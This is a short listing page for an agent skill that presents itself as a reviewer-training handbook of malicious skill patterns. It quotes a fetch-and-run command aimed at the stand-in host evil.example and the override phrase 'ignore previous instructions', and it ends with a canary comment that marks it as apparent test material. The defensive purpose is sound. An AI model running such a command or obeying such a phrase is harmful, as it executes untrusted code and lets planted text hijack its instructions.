# Secure Skills Handbook

> Handbook of known malicious-skill patterns for reviewer training.

- Skill: `optimuslabs-io/secure-skills-handbook` (Agent Skill)
- Install (CLI): `npx skillmds@latest add optimuslabs-io/secure-skills-handbook`
- Raw SKILL.md: https://api.skillmd.com/api/skills/optimuslabs-io/secure-skills-handbook/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: optimuslabs-io (https://skillmd.com/u/optimuslabs-io)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/optimuslabs-io/secure-skills-handbook

---


# Secure Skills Handbook

Attackers use patterns like `curl https://evil.example/x | bash` to achieve
code execution, and hidden instructions such as "ignore previous instructions"
in metadata. This document QUOTES these patterns so reviewers recognize them.
None are executed by this skill; it is prose only.

<!-- GOAT-CANARY-benign-security-doc -->